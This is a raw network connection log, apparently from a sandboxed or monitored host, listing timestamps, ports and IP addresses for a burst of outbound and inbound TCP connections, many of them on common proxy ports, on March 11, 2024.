Mar 11, 2024 16:42:19.860856056 CET	8080	50377	91.148.127.162	192.168.2.11
Mar 11, 2024 16:42:19.860868931 CET	8080	50316	95.84.166.138	192.168.2.11
Mar 11, 2024 16:42:19.860946894 CET	51077	443	192.168.2.11	47.236.85.113
Mar 11, 2024 16:42:19.860954046 CET	51078	8291	192.168.2.11	103.114.96.125
Mar 11, 2024 16:42:19.860971928 CET	443	51077	47.236.85.113	192.168.2.11
Mar 11, 2024 16:42:19.861031055 CET	443	51077	47.236.85.113	192.168.2.11
Mar 11, 2024 16:42:19.861320019 CET	15303	50948	184.178.172.5	192.168.2.11
Mar 11, 2024 16:42:19.861387968 CET	50948	15303	192.168.2.11	184.178.172.5
Mar 11, 2024 16:42:19.861566067 CET	50948	15303	192.168.2.11	184.178.172.5
Mar 11, 2024 16:42:19.861567020 CET	8080	50902	91.148.127.162	192.168.2.11
Mar 11, 2024 16:42:19.861633062 CET	50902	8080	192.168.2.11	91.148.127.162
Mar 11, 2024 16:42:19.861685038 CET	50902	8080	192.168.2.11	91.148.127.162
Mar 11, 2024 16:42:19.861963987 CET	31679	50949	98.162.25.29	192.168.2.11
Mar 11, 2024 16:42:19.861977100 CET	7777	50026	111.8.155.54	192.168.2.11
Mar 11, 2024 16:42:19.862118006 CET	51079	443	192.168.2.11	47.236.85.113
Mar 11, 2024 16:42:19.862153053 CET	443	51079	47.236.85.113	192.168.2.11
Mar 11, 2024 16:42:19.862257957 CET	50949	31679	192.168.2.11	98.162.25.29
Mar 11, 2024 16:42:19.862329960 CET	51079	443	192.168.2.11	47.236.85.113
Mar 11, 2024 16:42:19.862330914 CET	50026	7777	192.168.2.11	111.8.155.54
Mar 11, 2024 16:42:19.862399101 CET	51079	443	192.168.2.11	47.236.85.113
Mar 11, 2024 16:42:19.862421989 CET	443	51079	47.236.85.113	192.168.2.11
Mar 11, 2024 16:42:19.862461090 CET	443	51079	47.236.85.113	192.168.2.11
Mar 11, 2024 16:42:19.862514019 CET	50949	31679	192.168.2.11	98.162.25.29
Mar 11, 2024 16:42:19.862593889 CET	50026	7777	192.168.2.11	111.8.155.54
Mar 11, 2024 16:42:19.862832069 CET	51080	443	192.168.2.11	47.236.85.113
Mar 11, 2024 16:42:19.862854958 CET	443	51080	47.236.85.113	192.168.2.11
Mar 11, 2024 16:42:19.862935066 CET	51080	443	192.168.2.11	47.236.85.113
Mar 11, 2024 16:42:19.862987041 CET	51080	443	192.168.2.11	47.236.85.113
Mar 11, 2024 16:42:19.862996101 CET	443	51080	47.236.85.113	192.168.2.11
Mar 11, 2024 16:42:19.863027096 CET	443	51080	47.236.85.113	192.168.2.11
Mar 11, 2024 16:42:19.864144087 CET	51081	39782	192.168.2.11	192.163.202.88
Mar 11, 2024 16:42:19.865037918 CET	8080	50105	159.112.141.44	192.168.2.11
Mar 11, 2024 16:42:19.865097046 CET	50105	8080	192.168.2.11	159.112.141.44
Mar 11, 2024 16:42:19.865360975 CET	50105	8080	192.168.2.11	159.112.141.44
Mar 11, 2024 16:42:19.866223097 CET	80	49892	50.168.72.112	192.168.2.11
Mar 11, 2024 16:42:19.866904020 CET	51082	1080	192.168.2.11	5.252.23.249
Mar 11, 2024 16:42:19.871057987 CET	6969	50910	95.217.222.213	192.168.2.11
Mar 11, 2024 16:42:19.871331930 CET	8080	49890	103.147.247.79	192.168.2.11
Mar 11, 2024 16:42:19.871349096 CET	8000	50257	128.199.252.41	192.168.2.11
Mar 11, 2024 16:42:19.873214006 CET	4145	50839	174.77.111.197	192.168.2.11
Mar 11, 2024 16:42:19.873225927 CET	4145	50839	174.77.111.197	192.168.2.11
Mar 11, 2024 16:42:19.873687983 CET	51083	4145	192.168.2.11	174.77.111.197
Mar 11, 2024 16:42:19.875999928 CET	49910	3128	192.168.2.11	194.182.187.78
Mar 11, 2024 16:42:19.876003027 CET	50011	3128	192.168.2.11	178.128.148.69
Mar 11, 2024 16:42:19.876010895 CET	50411	8080	192.168.2.11	193.34.95.110
Mar 11, 2024 16:42:19.876010895 CET	50414	80	192.168.2.11	133.232.90.96
Mar 11, 2024 16:42:19.876029968 CET	50420	31476	192.168.2.11	170.244.64.12
Mar 11, 2024 16:42:19.876034021 CET	50421	16379	192.168.2.11	51.158.77.220
Mar 11, 2024 16:42:19.876029968 CET	50426	5678	192.168.2.11	203.205.34.58
Mar 11, 2024 16:42:19.876044035 CET	50423	8080	192.168.2.11	190.104.20.82
Mar 11, 2024 16:42:19.876044035 CET	50424	80	192.168.2.11	102.130.125.86
Mar 11, 2024 16:42:19.876046896 CET	50430	8082	192.168.2.11	80.72.68.247
Mar 11, 2024 16:42:19.876046896 CET	50428	8080	192.168.2.11	8.218.100.120
Mar 11, 2024 16:42:19.876060963 CET	50560	3128	192.168.2.11	213.131.230.161
Mar 11, 2024 16:42:19.876061916 CET	50586	27639	192.168.2.11	185.45.194.176
Mar 11, 2024 16:42:19.876063108 CET	50429	999	192.168.2.11	45.174.248.19
Mar 11, 2024 16:42:19.876313925 CET	5678	49762	178.212.51.79	192.168.2.11
Mar 11, 2024 16:42:19.879059076 CET	4145	50781	168.205.217.37	192.168.2.11
Mar 11, 2024 16:42:19.880198956 CET	51084	8080	192.168.2.11	200.7.11.154
Mar 11, 2024 16:42:19.880503893 CET	51085	13793	192.168.2.11	103.117.109.1
Mar 11, 2024 16:42:19.881165028 CET	51086	8080	192.168.2.11	41.85.8.233
Mar 11, 2024 16:42:19.881311893 CET	4145	49712	152.32.78.24	192.168.2.11
Mar 11, 2024 16:42:19.882486105 CET	51087	30421	192.168.2.11	176.103.51.24
Mar 11, 2024 16:42:19.882750988 CET	3335	50446	67.43.236.20	192.168.2.11
Mar 11, 2024 16:42:19.884033918 CET	51088	10102	192.168.2.11	83.220.168.57
Mar 11, 2024 16:42:19.885200024 CET	80	50480	3.127.62.252	192.168.2.11
Mar 11, 2024 16:42:19.886224031 CET	80	50440	39.105.5.126	192.168.2.11
Mar 11, 2024 16:42:19.886440039 CET	8000	50280	167.172.79.17	192.168.2.11
Mar 11, 2024 16:42:19.887336969 CET	80	51000	104.16.104.12	192.168.2.11
Mar 11, 2024 16:42:19.887424946 CET	51000	80	192.168.2.11	104.16.104.12
Mar 11, 2024 16:42:19.887586117 CET	51000	80	192.168.2.11	104.16.104.12
Mar 11, 2024 16:42:19.887662888 CET	3128	50313	46.101.102.134	192.168.2.11
Mar 11, 2024 16:42:19.888247967 CET	4153	50101	203.76.117.74	192.168.2.11
Mar 11, 2024 16:42:19.888870955 CET	51089	82	192.168.2.11	202.12.80.8
Mar 11, 2024 16:42:19.888897896 CET	80	50491	50.239.72.17	192.168.2.11
Mar 11, 2024 16:42:19.889071941 CET	80	51009	172.67.182.96	192.168.2.11
Mar 11, 2024 16:42:19.889120102 CET	51090	56974	192.168.2.11	190.220.1.173
Mar 11, 2024 16:42:19.889162064 CET	51009	80	192.168.2.11	172.67.182.96
Mar 11, 2024 16:42:19.889224052 CET	51009	80	192.168.2.11	172.67.182.96
Mar 11, 2024 16:42:19.889889956 CET	51091	46195	192.168.2.11	194.163.159.94
Mar 11, 2024 16:42:19.889982939 CET	80	50366	50.173.140.149	192.168.2.11
Mar 11, 2024 16:42:19.890038013 CET	50480	80	192.168.2.11	3.127.62.252
Mar 11, 2024 16:42:19.890964031 CET	4145	50781	168.205.217.37	192.168.2.11
Mar 11, 2024 16:42:19.891031027 CET	50781	4145	192.168.2.11	168.205.217.37
Mar 11, 2024 16:42:19.891189098 CET	50781	4145	192.168.2.11	168.205.217.37
Mar 11, 2024 16:42:19.891205072 CET	64384	50936	195.154.43.221	192.168.2.11
Mar 11, 2024 16:42:19.891609907 CET	50370	8080	192.168.2.11	213.184.153.66
Mar 11, 2024 16:42:19.891623974 CET	50517	5678	192.168.2.11	101.95.182.26
Mar 11, 2024 16:42:19.891623974 CET	50612	80	192.168.2.11	50.174.214.219
Mar 11, 2024 16:42:19.891627073 CET	50452	16379	192.168.2.11	51.158.105.107
Mar 11, 2024 16:42:19.891642094 CET	50015	5385	192.168.2.11	72.10.160.170
Mar 11, 2024 16:42:19.891654015 CET	50666	26087	192.168.2.11	67.43.228.253
Mar 11, 2024 16:42:19.891654015 CET	50703	4145	192.168.2.11	198.8.94.170
Mar 11, 2024 16:42:19.891658068 CET	50019	31295	192.168.2.11	67.43.236.20
Mar 11, 2024 16:42:19.891657114 CET	50665	31571	192.168.2.11	72.10.160.170
Mar 11, 2024 16:42:19.891658068 CET	50001	34350	192.168.2.11	66.29.128.246
Mar 11, 2024 16:42:19.891661882 CET	50546	4153	192.168.2.11	45.226.0.2
Mar 11, 2024 16:42:19.891657114 CET	50427	5020	192.168.2.11	176.192.65.34
Mar 11, 2024 16:42:19.891669989 CET	50443	53777	192.168.2.11	104.238.111.107
Mar 11, 2024 16:42:19.891674042 CET	50648	80	192.168.2.11	50.173.140.150
Mar 11, 2024 16:42:19.891697884 CET	50752	80	192.168.2.11	50.207.199.80
Mar 11, 2024 16:42:19.891697884 CET	50432	80	192.168.2.11	140.83.32.175
Mar 11, 2024 16:42:19.891700029 CET	50441	8080	192.168.2.11	186.233.25.83
Mar 11, 2024 16:42:19.891697884 CET	50433	26976	192.168.2.11	124.198.74.90
Mar 11, 2024 16:42:19.891700983 CET	50438	3128	192.168.2.11	59.15.28.76
Mar 11, 2024 16:42:19.891864061 CET	51092	4145	192.168.2.11	168.205.217.37
Mar 11, 2024 16:42:19.892203093 CET	4145	50598	103.66.233.161	192.168.2.11
Mar 11, 2024 16:42:19.892524958 CET	4145	50598	103.66.233.161	192.168.2.11
Mar 11, 2024 16:42:19.892599106 CET	50598	4145	192.168.2.11	103.66.233.161
Mar 11, 2024 16:42:19.892690897 CET	50598	4145	192.168.2.11	103.66.233.161
Mar 11, 2024 16:42:19.893338919 CET	51093	4145	192.168.2.11	103.66.233.161
Mar 11, 2024 16:42:19.893558025 CET	15673	50977	198.23.229.203	192.168.2.11
Mar 11, 2024 16:42:19.893609047 CET	50977	15673	192.168.2.11	198.23.229.203
Mar 11, 2024 16:42:19.893822908 CET	50977	15673	192.168.2.11	198.23.229.203
Mar 11, 2024 16:42:19.893922091 CET	51094	3128	192.168.2.11	86.107.179.234
Mar 11, 2024 16:42:19.894471884 CET	51095	3128	192.168.2.11	51.79.249.186
Mar 11, 2024 16:42:19.896919966 CET	51096	8080	192.168.2.11	41.180.70.2
Mar 11, 2024 16:42:19.897361040 CET	4153	50053	202.166.219.80	192.168.2.11
Mar 11, 2024 16:42:19.897429943 CET	50053	4153	192.168.2.11	202.166.219.80
Mar 11, 2024 16:42:19.897514105 CET	50053	4153	192.168.2.11	202.166.219.80
Mar 11, 2024 16:42:19.899590015 CET	51097	8080	192.168.2.11	103.165.128.171
Mar 11, 2024 16:42:19.900609016 CET	9764	50802	162.243.102.207	192.168.2.11
Mar 11, 2024 16:42:19.901499987 CET	1080	50365	202.162.219.10	192.168.2.11
Mar 11, 2024 16:42:19.901853085 CET	51098	61634	192.168.2.11	107.180.103.214
Mar 11, 2024 16:42:19.902074099 CET	51099	3128	192.168.2.11	91.189.177.188
Mar 11, 2024 16:42:19.902369022 CET	1080	50365	202.162.219.10	192.168.2.11
Mar 11, 2024 16:42:19.903645039 CET	51100	81	192.168.2.11	37.187.24.201
Mar 11, 2024 16:42:19.905086040 CET	1080	50911	202.162.219.10	192.168.2.11
Mar 11, 2024 16:42:19.905139923 CET	50911	1080	192.168.2.11	202.162.219.10
Mar 11, 2024 16:42:19.905324936 CET	50911	1080	192.168.2.11	202.162.219.10
Mar 11, 2024 16:42:19.905428886 CET	51101	8080	192.168.2.11	36.91.148.36
Mar 11, 2024 16:42:19.906202078 CET	8080	49784	42.200.196.208	192.168.2.11
Mar 11, 2024 16:42:19.906945944 CET	51102	53471	192.168.2.11	37.44.238.2
Mar 11, 2024 16:42:19.907226086 CET	50434	64494	192.168.2.11	37.187.77.58
Mar 11, 2024 16:42:19.907236099 CET	50442	999	192.168.2.11	201.77.108.64
Mar 11, 2024 16:42:19.907237053 CET	50258	40536	192.168.2.11	162.214.225.223
Mar 11, 2024 16:42:19.907246113 CET	50696	80	192.168.2.11	50.230.222.202
Mar 11, 2024 16:42:19.907258034 CET	50750	80	192.168.2.11	50.175.212.79
Mar 11, 2024 16:42:19.907316923 CET	50021	3933	192.168.2.11	67.43.228.253
Mar 11, 2024 16:42:19.908404112 CET	3129	50174	20.204.214.79	192.168.2.11
Mar 11, 2024 16:42:19.909851074 CET	51103	46047	192.168.2.11	208.109.14.49
Mar 11, 2024 16:42:19.909991980 CET	51104	80	192.168.2.11	154.208.10.126
Mar 11, 2024 16:42:19.910176039 CET	9764	50802	162.243.102.207	192.168.2.11
Mar 11, 2024 16:42:19.911393881 CET	51105	3128	192.168.2.11	130.162.213.175
Mar 11, 2024 16:42:19.912616968 CET	51106	4145	192.168.2.11	184.181.217.210
Mar 11, 2024 16:42:19.913583040 CET	51107	30747	192.168.2.11	92.204.134.38
Mar 11, 2024 16:42:19.914618015 CET	51108	5678	192.168.2.11	190.113.90.230
Mar 11, 2024 16:42:19.915488005 CET	64654	50334	162.19.7.53	192.168.2.11
Mar 11, 2024 16:42:19.915641069 CET	51109	80	192.168.2.11	121.128.194.154
Mar 11, 2024 16:42:19.916292906 CET	55137	50010	192.169.197.146	192.168.2.11
Mar 11, 2024 16:42:19.917196989 CET	51110	999	192.168.2.11	38.56.70.97
Mar 11, 2024 16:42:19.918524027 CET	51111	8089	192.168.2.11	113.223.214.1
Mar 11, 2024 16:42:19.919436932 CET	51112	3128	192.168.2.11	45.7.24.102
Mar 11, 2024 16:42:19.920523882 CET	51113	3829	192.168.2.11	103.160.41.138
Mar 11, 2024 16:42:19.921216011 CET	35158	50894	103.245.205.33	192.168.2.11
Mar 11, 2024 16:42:19.921272039 CET	8888	50460	23.94.123.243	192.168.2.11
Mar 11, 2024 16:42:19.921771049 CET	51114	8080	192.168.2.11	109.201.233.219
Mar 11, 2024 16:42:19.922868967 CET	50795	80	192.168.2.11	50.207.199.87
Mar 11, 2024 16:42:19.922910929 CET	49722	44607	192.168.2.11	162.241.6.97
Mar 11, 2024 16:42:19.922910929 CET	50126	3129	192.168.2.11	45.134.80.222
Mar 11, 2024 16:42:19.922910929 CET	49947	80	192.168.2.11	50.170.90.24
Mar 11, 2024 16:42:19.922913074 CET	50775	4145	192.168.2.11	74.119.147.209
Mar 11, 2024 16:42:19.922940016 CET	50573	1080	192.168.2.11	140.250.150.56
Mar 11, 2024 16:42:19.922940969 CET	49934	15673	192.168.2.11	43.131.245.216
Mar 11, 2024 16:42:19.922943115 CET	50444	8080	192.168.2.11	183.88.184.48
Mar 11, 2024 16:42:19.922943115 CET	50455	80	192.168.2.11	82.97.215.240
Mar 11, 2024 16:42:19.922943115 CET	50017	80	192.168.2.11	50.168.210.239
Mar 11, 2024 16:42:19.922944069 CET	50807	4145	192.168.2.11	192.111.134.10
Mar 11, 2024 16:42:19.922943115 CET	50719	10677	192.168.2.11	72.10.160.173
Mar 11, 2024 16:42:19.922944069 CET	50453	9999	192.168.2.11	113.195.224.222
Mar 11, 2024 16:42:19.922950983 CET	49977	80	192.168.2.11	50.172.75.125
Mar 11, 2024 16:42:19.922951937 CET	50454	8080	192.168.2.11	186.103.130.91
Mar 11, 2024 16:42:19.922951937 CET	50449	5678	192.168.2.11	91.247.92.63
Mar 11, 2024 16:42:19.922964096 CET	50623	3128	192.168.2.11	155.185.15.56
Mar 11, 2024 16:42:19.922966003 CET	50714	13087	192.168.2.11	67.43.236.18
Mar 11, 2024 16:42:19.923234940 CET	51115	999	192.168.2.11	187.49.191.14
Mar 11, 2024 16:42:19.924849033 CET	51116	3128	192.168.2.11	138.68.60.8
Mar 11, 2024 16:42:19.924916983 CET	50811	4145	192.168.2.11	142.54.232.6
Mar 11, 2024 16:42:19.925012112 CET	80	50384	50.218.57.68	192.168.2.11
Mar 11, 2024 16:42:19.925889969 CET	51117	9050	192.168.2.11	211.194.214.128
Mar 11, 2024 16:42:19.926487923 CET	4145	50978	174.64.199.82	192.168.2.11
Mar 11, 2024 16:42:19.926568031 CET	50978	4145	192.168.2.11	174.64.199.82
Mar 11, 2024 16:42:19.926635027 CET	9090	50760	91.241.217.58	192.168.2.11
Mar 11, 2024 16:42:19.926690102 CET	9090	50760	91.241.217.58	192.168.2.11
Mar 11, 2024 16:42:19.926702023 CET	9090	50760	91.241.217.58	192.168.2.11
Mar 11, 2024 16:42:19.926743984 CET	50978	4145	192.168.2.11	174.64.199.82
Mar 11, 2024 16:42:19.926856041 CET	50760	9090	192.168.2.11	91.241.217.58
Mar 11, 2024 16:42:19.926856041 CET	50760	9090	192.168.2.11	91.241.217.58
Mar 11, 2024 16:42:19.927078009 CET	4145	50979	24.249.199.4	192.168.2.11
Mar 11, 2024 16:42:19.927130938 CET	50979	4145	192.168.2.11	24.249.199.4
Mar 11, 2024 16:42:19.927498102 CET	50979	4145	192.168.2.11	24.249.199.4
Mar 11, 2024 16:42:19.927809000 CET	51118	3128	192.168.2.11	13.37.59.99
Mar 11, 2024 16:42:19.928278923 CET	8080	50196	46.209.54.102	192.168.2.11
Mar 11, 2024 16:42:19.928311110 CET	51119	65424	192.168.2.11	203.153.125.13
Mar 11, 2024 16:42:19.928340912 CET	14282	50489	192.252.208.70	192.168.2.11
Mar 11, 2024 16:42:19.928455114 CET	50489	14282	192.168.2.11	192.252.208.70
Mar 11, 2024 16:42:19.928658009 CET	50489	14282	192.168.2.11	192.252.208.70
Mar 11, 2024 16:42:19.929112911 CET	5775	49915	72.10.160.92	192.168.2.11
Mar 11, 2024 16:42:19.929455042 CET	4145	50980	174.75.211.222	192.168.2.11
Mar 11, 2024 16:42:19.929503918 CET	7891	50228	43.129.228.46	192.168.2.11
Mar 11, 2024 16:42:19.929549932 CET	50980	4145	192.168.2.11	174.75.211.222
Mar 11, 2024 16:42:19.929627895 CET	50980	4145	192.168.2.11	174.75.211.222
Mar 11, 2024 16:42:19.929743052 CET	51120	80	192.168.2.11	50.200.12.82
Mar 11, 2024 16:42:19.930885077 CET	8888	50410	120.79.101.0	192.168.2.11
Mar 11, 2024 16:42:19.931530952 CET	51121	6008	192.168.2.11	45.11.95.166
Mar 11, 2024 16:42:19.932246923 CET	8888	50410	120.79.101.0	192.168.2.11
Mar 11, 2024 16:42:19.933624029 CET	51123	999	192.168.2.11	167.250.181.133
Mar 11, 2024 16:42:19.935623884 CET	51124	9050	192.168.2.11	45.77.108.208
Mar 11, 2024 16:42:19.936892986 CET	51125	27531	192.168.2.11	162.144.36.208
Mar 11, 2024 16:42:19.937938929 CET	80	51022	45.12.30.231	192.168.2.11
Mar 11, 2024 16:42:19.938014984 CET	51022	80	192.168.2.11	45.12.30.231
Mar 11, 2024 16:42:19.938170910 CET	51126	80	192.168.2.11	104.16.224.33
Mar 11, 2024 16:42:19.938409090 CET	51022	80	192.168.2.11	45.12.30.231
Mar 11, 2024 16:42:19.938493967 CET	49847	58386	192.168.2.11	5.44.42.115
Mar 11, 2024 16:42:19.938512087 CET	50743	11339	192.168.2.11	67.43.228.251
Mar 11, 2024 16:42:19.938513041 CET	50448	3128	192.168.2.11	193.239.86.248
Mar 11, 2024 16:42:19.938513041 CET	50456	3128	192.168.2.11	15.207.196.77
Mar 11, 2024 16:42:19.938513041 CET	50466	3128	192.168.2.11	18.135.211.182
Mar 11, 2024 16:42:19.938533068 CET	50756	23685	192.168.2.11	72.10.160.90
Mar 11, 2024 16:42:19.938533068 CET	50467	6060	192.168.2.11	185.165.232.65
Mar 11, 2024 16:42:19.938536882 CET	50033	26087	192.168.2.11	67.43.228.251
Mar 11, 2024 16:42:19.938544035 CET	50450	999	192.168.2.11	190.110.99.189
Mar 11, 2024 16:42:19.938544989 CET	50593	3128	192.168.2.11	120.24.52.179
Mar 11, 2024 16:42:19.938560009 CET	50463	999	192.168.2.11	157.100.56.40
Mar 11, 2024 16:42:19.938576937 CET	50645	9125	192.168.2.11	178.253.201.11
Mar 11, 2024 16:42:19.938601017 CET	50465	3128	192.168.2.11	2.179.193.146
Mar 11, 2024 16:42:19.938601017 CET	50464	27391	192.168.2.11	72.195.34.60
Mar 11, 2024 16:42:19.938724995 CET	51127	2001	192.168.2.11	173.44.141.179
Mar 11, 2024 16:42:19.940748930 CET	51128	8080	192.168.2.11	103.76.129.110
Mar 11, 2024 16:42:19.941757917 CET	51129	21972	192.168.2.11	79.143.177.29
Mar 11, 2024 16:42:19.942830086 CET	51130	5020	192.168.2.11	119.18.149.9
Mar 11, 2024 16:42:19.943099976 CET	3128	50773	134.209.29.120	192.168.2.11
Mar 11, 2024 16:42:19.943562031 CET	51131	3128	192.168.2.11	134.209.29.120
Mar 11, 2024 16:42:19.943825006 CET	51132	8080	192.168.2.11	186.103.130.94
Mar 11, 2024 16:42:19.945288897 CET	51133	12919	192.168.2.11	192.169.205.131
Mar 11, 2024 16:42:19.946230888 CET	51134	8789	192.168.2.11	103.84.235.162
Mar 11, 2024 16:42:19.946599960 CET	4145	50984	72.210.221.223	192.168.2.11
Mar 11, 2024 16:42:19.946749926 CET	50984	4145	192.168.2.11	72.210.221.223
Mar 11, 2024 16:42:19.946923971 CET	50984	4145	192.168.2.11	72.210.221.223
Mar 11, 2024 16:42:19.947195053 CET	8197	50833	58.234.116.197	192.168.2.11
Mar 11, 2024 16:42:19.947266102 CET	50833	8197	192.168.2.11	58.234.116.197
Mar 11, 2024 16:42:19.947400093 CET	50833	8197	192.168.2.11	58.234.116.197
Mar 11, 2024 16:42:19.947591066 CET	10003	50836	147.75.34.86	192.168.2.11
Mar 11, 2024 16:42:19.947865009 CET	50836	10003	192.168.2.11	147.75.34.86
Mar 11, 2024 16:42:19.947881937 CET	4145	50983	184.178.172.14	192.168.2.11
Mar 11, 2024 16:42:19.947945118 CET	50983	4145	192.168.2.11	184.178.172.14
Mar 11, 2024 16:42:19.947982073 CET	8197	50833	58.234.116.197	192.168.2.11
Mar 11, 2024 16:42:19.948051929 CET	50983	4145	192.168.2.11	184.178.172.14
Mar 11, 2024 16:42:19.948187113 CET	51135	8080	192.168.2.11	103.191.155.62
Mar 11, 2024 16:42:19.949364901 CET	80	50943	39.108.227.108	192.168.2.11
Mar 11, 2024 16:42:19.949441910 CET	50943	80	192.168.2.11	39.108.227.108
Mar 11, 2024 16:42:19.949513912 CET	50943	80	192.168.2.11	39.108.227.108
Mar 11, 2024 16:42:19.949815989 CET	51136	8197	192.168.2.11	58.234.116.197
Mar 11, 2024 16:42:19.950314045 CET	80	50947	162.159.241.5	192.168.2.11
Mar 11, 2024 16:42:19.950356960 CET	80	50947	162.159.241.5	192.168.2.11
Mar 11, 2024 16:42:19.950756073 CET	50947	80	192.168.2.11	162.159.241.5
Mar 11, 2024 16:42:19.951801062 CET	80	50947	162.159.241.5	192.168.2.11
Mar 11, 2024 16:42:19.951841116 CET	50947	80	192.168.2.11	162.159.241.5
Mar 11, 2024 16:42:19.951847076 CET	15673	50885	23.95.209.142	192.168.2.11
Mar 11, 2024 16:42:19.952958107 CET	51137	14669	192.168.2.11	45.81.232.17
Mar 11, 2024 16:42:19.953115940 CET	51138	15673	192.168.2.11	23.95.209.142
Mar 11, 2024 16:42:19.953237057 CET	51139	80	192.168.2.11	162.159.242.10
Mar 11, 2024 16:42:19.953823090 CET	15864	50532	192.252.214.20	192.168.2.11
Mar 11, 2024 16:42:19.954118967 CET	50458	80	192.168.2.11	217.112.80.252
Mar 11, 2024 16:42:19.954132080 CET	50596	8443	192.168.2.11	27.254.123.203
Mar 11, 2024 16:42:19.954132080 CET	50114	80	192.168.2.11	50.145.6.36
Mar 11, 2024 16:42:19.954133034 CET	50771	5369	192.168.2.11	72.10.160.171
Mar 11, 2024 16:42:19.954147100 CET	50474	3128	192.168.2.11	86.107.178.103
Mar 11, 2024 16:42:19.954170942 CET	50468	14287	192.168.2.11	64.227.108.182
Mar 11, 2024 16:42:19.954170942 CET	50473	8085	192.168.2.11	191.102.254.54
Mar 11, 2024 16:42:19.954171896 CET	50472	999	192.168.2.11	45.224.20.68
Mar 11, 2024 16:42:19.954170942 CET	50475	8080	192.168.2.11	1.0.171.213
Mar 11, 2024 16:42:19.954194069 CET	8080	50940	47.88.3.19	192.168.2.11
Mar 11, 2024 16:42:19.954209089 CET	49881	5678	192.168.2.11	176.119.227.65
Mar 11, 2024 16:42:19.954210997 CET	50477	57642	192.168.2.11	107.180.88.41
Mar 11, 2024 16:42:19.954210997 CET	50479	63951	192.168.2.11	107.180.95.177
Mar 11, 2024 16:42:19.954240084 CET	8080	50940	47.88.3.19	192.168.2.11
Mar 11, 2024 16:42:19.954303980 CET	50940	8080	192.168.2.11	47.88.3.19
Mar 11, 2024 16:42:19.954613924 CET	50940	8080	192.168.2.11	47.88.3.19
Mar 11, 2024 16:42:19.955688953 CET	51140	55994	192.168.2.11	38.127.179.16
Mar 11, 2024 16:42:19.956342936 CET	80	50996	50.168.72.116	192.168.2.11
Mar 11, 2024 16:42:19.957432032 CET	4145	50989	72.195.34.41	192.168.2.11
Mar 11, 2024 16:42:19.957493067 CET	50989	4145	192.168.2.11	72.195.34.41
Mar 11, 2024 16:42:19.957782030 CET	50989	4145	192.168.2.11	72.195.34.41
Mar 11, 2024 16:42:19.959275007 CET	51141	21231	192.168.2.11	92.247.2.26
Mar 11, 2024 16:42:19.961025000 CET	39452	50375	167.172.109.12	192.168.2.11
Mar 11, 2024 16:42:19.961247921 CET	51142	80	192.168.2.11	82.146.37.145
Mar 11, 2024 16:42:19.961966991 CET	51143	34405	192.168.2.11	212.110.188.189
Mar 11, 2024 16:42:19.963635921 CET	51144	8080	192.168.2.11	103.53.78.26
Mar 11, 2024 16:42:19.965089083 CET	51145	33661	192.168.2.11	128.199.196.31
Mar 11, 2024 16:42:19.965240955 CET	5432	50905	45.196.148.67	192.168.2.11
Mar 11, 2024 16:42:19.965450048 CET	5432	50905	45.196.148.67	192.168.2.11
Mar 11, 2024 16:42:19.965553999 CET	5432	50905	45.196.148.67	192.168.2.11
Mar 11, 2024 16:42:19.965615988 CET	50905	5432	192.168.2.11	45.196.148.67
Mar 11, 2024 16:42:19.965667963 CET	50905	5432	192.168.2.11	45.196.148.67
Mar 11, 2024 16:42:19.967093945 CET	4145	51023	199.102.104.70	192.168.2.11
Mar 11, 2024 16:42:19.968797922 CET	80	50747	65.1.244.232	192.168.2.11
Mar 11, 2024 16:42:19.969459057 CET	51146	12792	192.168.2.11	112.30.155.83
Mar 11, 2024 16:42:19.969465017 CET	51147	80	192.168.2.11	137.184.100.135
Mar 11, 2024 16:42:19.969764948 CET	50470	8080	192.168.2.11	112.78.164.248
Mar 11, 2024 16:42:19.969786882 CET	50140	20037	192.168.2.11	64.44.139.12
Mar 11, 2024 16:42:19.969786882 CET	49724	15082	192.168.2.11	45.77.111.135
Mar 11, 2024 16:42:19.969786882 CET	50493	8080	192.168.2.11	194.124.36.75
Mar 11, 2024 16:42:19.969786882 CET	50487	9090	192.168.2.11	103.105.76.214
Mar 11, 2024 16:42:19.969813108 CET	50244	8888	192.168.2.11	194.150.69.56
Mar 11, 2024 16:42:19.969814062 CET	50685	80	192.168.2.11	50.174.214.222
Mar 11, 2024 16:42:19.969851017 CET	50494	4145	192.168.2.11	142.54.231.38
Mar 11, 2024 16:42:19.969855070 CET	50770	80	192.168.2.11	50.168.163.180
Mar 11, 2024 16:42:19.969855070 CET	49843	3629	192.168.2.11	178.158.197.147
Mar 11, 2024 16:42:19.971113920 CET	51148	4145	192.168.2.11	162.253.68.97
Mar 11, 2024 16:42:19.971116066 CET	5555	50288	14.225.254.128	192.168.2.11
Mar 11, 2024 16:42:19.971628904 CET	80	50747	65.1.244.232	192.168.2.11
Mar 11, 2024 16:42:19.972120047 CET	50747	80	192.168.2.11	65.1.244.232
Mar 11, 2024 16:42:19.975773096 CET	8000	51021	198.199.83.206	192.168.2.11
Mar 11, 2024 16:42:19.977658987 CET	9090	50412	212.108.145.195	192.168.2.11
Mar 11, 2024 16:42:19.977715015 CET	9090	50412	212.108.145.195	192.168.2.11
Mar 11, 2024 16:42:19.978779078 CET	41491	50394	167.172.109.12	192.168.2.11
Mar 11, 2024 16:42:19.979327917 CET	443	50832	222.255.238.159	192.168.2.11
Mar 11, 2024 16:42:19.979419947 CET	50832	443	192.168.2.11	222.255.238.159
Mar 11, 2024 16:42:19.980751038 CET	80	51052	185.162.229.70	192.168.2.11
Mar 11, 2024 16:42:19.980833054 CET	51052	80	192.168.2.11	185.162.229.70
Mar 11, 2024 16:42:19.980905056 CET	51535	50592	162.241.66.135	192.168.2.11
Mar 11, 2024 16:42:19.980945110 CET	51052	80	192.168.2.11	185.162.229.70
Mar 11, 2024 16:42:19.981007099 CET	34172	50335	162.241.46.6	192.168.2.11
Mar 11, 2024 16:42:19.981126070 CET	50335	34172	192.168.2.11	162.241.46.6
Mar 11, 2024 16:42:19.981126070 CET	50335	34172	192.168.2.11	162.241.46.6
Mar 11, 2024 16:42:19.982402086 CET	50832	443	192.168.2.11	222.255.238.159
Mar 11, 2024 16:42:19.982410908 CET	443	50832	222.255.238.159	192.168.2.11
Mar 11, 2024 16:42:19.982650042 CET	443	50832	222.255.238.159	192.168.2.11
Mar 11, 2024 16:42:19.983050108 CET	80	51048	162.159.246.135	192.168.2.11
Mar 11, 2024 16:42:19.983114958 CET	51048	80	192.168.2.11	162.159.246.135
Mar 11, 2024 16:42:19.983355045 CET	51048	80	192.168.2.11	162.159.246.135
Mar 11, 2024 16:42:19.984122992 CET	50832	443	192.168.2.11	222.255.238.159
Mar 11, 2024 16:42:19.984249115 CET	49775	50187	138.201.21.232	192.168.2.11
Mar 11, 2024 16:42:19.985100985 CET	31247	50347	202.40.181.220	192.168.2.11
